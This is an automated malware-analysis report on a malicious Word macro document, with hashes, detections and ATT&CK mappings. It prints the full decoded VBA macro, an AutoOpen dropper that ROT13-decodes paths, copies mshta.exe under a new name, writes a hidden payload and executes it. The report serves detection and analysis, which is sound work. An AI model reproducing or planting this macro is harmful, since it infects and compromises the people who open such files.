Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0678fa08f9456d38…

MALICIOUS

Office (OOXML)

70.7 KB Created: 2020-08-17 09:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: e915d694e1a85dbdd1006367d9366d89 SHA-1: 276ef4f12523e2f7c5bbff6b9c86ac57b4c75445 SHA-256: 0678fa08f9456d3892a7b771927ac93d08f55c884a539693328190a933b5f7ab
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen subroutine. The macro decodes and reconstructs strings, likely representing file paths and a URL, to download and execute a second-stage payload. The presence of the AutoOpen macro and the execution of shell commands strongly indicate a downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2185 bytes
SHA-256: 2a223733e5c2b637b64e15edc7934e68e8c282067de6a7961aecab8d76baba5e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aiI4Q"
Function azW6C()
azW6C = frm.txt.text
End Function
Public Function ahvR43(as9MXa)
ahvR43 = aGcUs(Replace(as9MXa, ahilR, ""))
End Function
Sub AutoOpen()
main
End Sub
Public Sub aLwCn(ao4weQ)
Set aWVZlK = New WshShell
aWVZlK.exec ao4weQ
End Sub

Attribute VB_Name = "aHL92"
Public Const aOAq9 As String = "p,:,\,j,v,a,q,b,j,f,\,f,l,f,g,r,z,3,2,\,z,f,u,g,n,.,r,k,r,"
Public Const aRwSVO As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,p,b,z,"
Public Const ashzMl As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,u,g,z,y,"
Public Const ahilR As String = ","
Public Function aOGn0(aoOLz, amLqVt)
FileNumber = FreeFile
Open aoOLz For Output As #FileNumber
Print #FileNumber, Spc(-25 + 48)
Print #FileNumber, amLqVt
Print #FileNumber, Spc(-25 + 48)
Close #FileNumber
End Function
Sub aIKSMm(aqmNs, aeO0bs)
FileCopy aqmNs, aeO0bs
End Sub
Public Function aGcUs(ByVal s As String, Optional ByVal r As Integer = 13) As String
    Dim c, f, i As Long
    For i = 1 To Len(s)
        c = Asc(Mid(s, i, 1))
        If c >= 97 And c <= 122 Then
            f = 97
        ElseIf c >= 65 And c <= 90 Then f = 65
        Else: GoTo Build: End If
        c = r + c - f
        Do: c = c Mod 26: Loop While c > (26 - 1)
        c = c + f
Build:         aGcUs = aGcUs & Chr(c)
    Next i
End Function

Attribute VB_Name = "aSCrH"
Sub main()
a0D1g = ahvR43(aOAq9)
aR6lji = ahvR43(aRwSVO)
aBcrt = ahvR43(ashzMl)
aIKSMm a0D1g, aR6lji
aOGn0 aBcrt, aGcUs(azW6C)
aLwCn (aR6lji & " " & aBcrt)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{D045678D-333B-45BA-B1E5-A60936A4C205}{A2F119B9-7365-4330-A9E3-CBC02EF45C70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49664 bytes
SHA-256: 49b4885f5582359a53f914fe7ef3b444e729ee77d0d432fd5a5725b4b05340f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.